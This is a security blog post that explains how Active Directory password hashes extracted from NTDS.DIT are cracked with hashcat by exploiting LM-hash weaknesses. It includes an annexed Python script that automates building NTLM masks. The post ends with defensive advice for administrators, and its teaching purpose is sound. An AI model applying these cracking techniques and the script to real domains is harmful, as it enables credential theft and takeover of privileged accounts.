Attack on domain controller database (NTDS.DIT)

Aleksey Yasinskiy
WRITTEN BY
Aleksey Yasinskiy
[post-views]
May 10, 2016 · 8 min read

So, as I have promised, we start the process of analyzing separate Cyber Kill Chain stages of the previously described attack. Today we will review one of the attack vectors on the Company infrastructure, which we can count as two stages: «Actions on Objectives» and «Reconnaissance». Our goals are:

  • To gain a foothold by using obtained accounts;
  • To get maximum information about Company (email, department names, phone numbers, Functional titles etc) for further attacks or even selling access to its infrastructure.

SYSTEM and NTDS.DIT

Adversaries, once they are in the corporate network, will encroach on one of the “tastiest” pieces of ActiveDirectory’s information, which are SYSTEM and NTDS.DIT files. These files are databases, which contain all data from ActiveDirectory. NTDS.DIT contains information about all users in domain including password hashes. File SYSTEM is needed to decrypt data from NTDS.DIT.

I won’t describe methods of hash retrieval in this article, because many articles on that subject have already been written. I will concentrate on the method that shows infrastructure vulnerability by password exposure (if LM hashes are available), and automation of the searching process that makes it extremely fast.

So we need only LM and NTLM hashes:

ntds_dit_2

After receiving hashes we start with LM hash.

About LM-hash

Some information about LM hash.

It is based on the DES block cipher and can be easily attacked for password cracking because of two vulnerabilities in its realization. Firstly, passwords that are longer than 7 characters are divided into two parts and each part is hashed separately, allowing to attack each part separately. Secondly, all lowercase characters are switched to uppercase.

So, we have:

LM hash, which, as we have figured out before, has two parts.

9196B21FEF3C8906AAD3B435B51404EE

AAD3B435B51404EE – this hash is from an empty password (such sequence of numerals means that one half of hash is an empty password).

We conclude that password consists of less than seven characters, because second part of hash matches with empty character set.

Now to brute-forcing the first part

For that purpose we use hashcat, which allows strong parallelized GPU brute-forcing. Using next keys:

-a => attack mode

-m => hash type

?d = all decimals (0–9).

?l = lowercase characters (a–z).

?u = uppercase characters (A–Z).

?s = symbols.

ntds_dit_3

We receive password in 24 seconds.

ntds_dit_4

Now it is the turn of NTLM

1BC10704ED604747D7D827FC7A43D555

It is much easier to brute-force it, because we know the following information:

  1. What characters are used in the password;
  2. Order of these characters.

We only have to check whether a character is uppercase or lowercase.

ntds_dit_5

ntds_dit_6

Thus because we have a LM hash all the work took us slightly more than 32 seconds.

We will further complicate the task:

Suppose we have a 14-character password with the third level of difficulty (classic corporate password):

29355BC0D45C341B51ACD8D3923F7C21

We use the same trick:

ntds_dit_7

Brute-force gave us the first approximation (password in uppercase characters) in 31 second.

29355BC0D45C341B51ACD8D3923F7C21

ntds_dit_8

Now all we have to do is

NTLM:

E06E777CD11F495E9B9098B5576A4343

ntds_dit_9

Increasing complexity of the password even up to 14 characters isn’t making our task harder – if we have LM hash, cracking only takes 40 seconds!

We processed one hash. If we needed to process a big amount of hashes, building masks for every password would be too labor-intensive. That’s why I have developed a tool which would do next work for us – ntlm_mask_gen.exe  (you can download it here тут, MD5: c2a9dac79c51e14c84f35febd72d05ba or take python code in Annex 1) :

  1. It forms wordlists for every single password;
  2. It forms mask for every single password inclusive of formed wordlists;
  3. It forms one single file with strings for every separate hash, mask and wordlist.

All you have to do then is run this file and watch hashcat cracking passwords in seconds.

Demonstration of the described methodology

Let us carry out one more experiment to demonstrate the described technique:

We will use 10 passwords with 10 characters, fourth level of difficulty with the following settings (traditional requirements for technologic/administrative/system account from corporate password policy):

ntds_dit_10

  1. We create a file with hashes csv:
    ntds_dit_11
  1. Then we create a file for cracking cmd:
    ntds_dit_12
  1. And now we receive results (divided into two parts):
    ntds_dit_13
  1. Then we match passwords of the two halves using key –show:
    ntds_dit_14

    test_lm_full.result:
    ntds_dit_15
  1. Then we create a file for our tool, which will generate wordlists and masks for us. We take NTLM hash and password for hacking LM, for example test_ntlm_input.txt:
    ntds_dit_16
  1. Run our tool:
    ntds_dit_17

    Immediately we receive a file that is ready for password searching by masks and automatically formed wordlists:

    ntds_dit_18

  1. We run this file and get our passwords in 14 seconds:ntds_dit_19

ntds_dit_20

That’s all.

Clarification

As you know, starting from version 2008, storage of LM hashes is disabled by default, but in case of migration from version 2003 (or lower), accounts that haven’t changed passwords after migration, stay with LM hash in the database. Usually these are technological accounts with passwords that are not changed for several reasons, for example, they can cause crashing of some critical services, etc. Such accounts are a serious threat because their passwords are often «Never Expire», their access is not monitored and they frequently have high privilege up to administrative access. As a result using such accounts for breaking-in will be the most discreet.

Conclusion

It is critically important to give up the domains based on 2003 or lower and use newer versions. In case of migration you have to assure that all accounts have changed their passwords and there is no LM hashes in the database. And one more advice for domain admins and information security experts, you should work proactively and brute-force your passwords at least once a quarter! You should control access to AD especially shadowing operations with SYSTEM and NTDS.DIT files.

I hope this article will be useful for information security experts, who can use described techniques as arguments while communicating with IT specialists. Or it will be useful for admins for the purpose of wider understanding of risks related to attacks on ActiveDirectory.

Annex 1

import math

alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
exception = ' &%{}<>^|"'

file_name = open('D:\hashcat\kd_input.new','r')
main_len = len(file_name.readlines())
file_name.close()
file_name = open('D:\hashcat\kd_input.new','r')
file_name_out = open('D:\hashcat\kd_input.cmd','w')

hashes = []
passwords = []
masks = [[] for i in range(main_len)]
dicts = []
char_sets_count = 0

char_sets = [[] for i in range(main_len)]

ind_main = 0
ch1 = []
ch2 = []
ch3 = []
ch4 = []
ch_sets = [ch1, ch2, ch3, ch4]


def new_init(pass_letter):
    for ind_0 in range(4):
        ch_sets[ind_0] = []
    return predict(pass_letter)


def predict(new_password):
    pass_letter = ''
    for let in new_password:
        if let in alphabet and not (let in pass_letter):
            pass_letter += let
    return dict_generator(pass_letter)


def dict_generator(pass_letter):
    global char_sets_count

    dict_new = ''
    pass_len = len(pass_letter)
    if pass_len < 4:
        for ind1 in range(pass_len):
            ch_sets[ind1].append(pass_letter[ind1])
            ch_sets[ind1].append(pass_letter[ind1].lower())
    else:
        filler(pass_letter, spreader(pass_len))
    for ind2 in range(4):
        if len(ch_sets[ind2]) > 0:
            dict_new += '-' + str(ind2+1) + ' ' + ''.join(ch_sets[ind2]) + ' '

    char_sets[char_sets_count] = [ch_sets[0], ch_sets[1], ch_sets[2], ch_sets[3]]
    char_sets_count += 1
    return dict_new


def spreader(letter_num):
    spread_counter = [0, 0, 0, 0]
    for ind3 in range(4):
        spread_counter[ind3] = int(math.ceil(letter_num/float(4-ind3)))
        letter_num -= spread_counter[ind3]
    return spread_counter


def filler(pass_letter, counter_letter):
    count_l = 0
    for ind_ch in range(4):
        for ind_set in range(counter_letter[ind_ch]):
            ch_sets[ind_ch].append(pass_letter[count_l])
            ch_sets[ind_ch].append(pass_letter[count_l].lower())
            count_l += 1


def mask_generator(password,pwd_idx):
    mask_new = ''
    for pw_let in password:
        if pw_let in alphabet:
            for ind_array in range(4):
                if pw_let in char_sets[pwd_idx][ind_array]:
                    mask_new += '?'+str(ind_array+1)
        elif pw_let in exception:
            mask_new += '?s'
        else:
            mask_new += pw_let

    masks[pwd_idx] = mask_new


# ---------------------- Main --------------------------------

for line in file_name:
    hashes.append(line[:32])
    passwords.append(line[33:len(line)-1])
    dicts.append(new_init(passwords[ind_main]))
    ind_main += 1

for pwd_idx in range(len(passwords)):
    mask_generator(passwords[pwd_idx],pwd_idx)


for index in range(len(hashes)):
    text = 'cudaHashcat64.exe -m 1000 -a 3 -o ntlm_tesult.hash ' + str(hashes[index]) + ' ' + str(dicts[index]) + ' ' + str(masks[index]) + '\n'
    file_name_out.write(text)

file_name.close()
file_name_out.close()

Table of Contents

Was this article helpful?

Like and share it with your peers.
Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Related Posts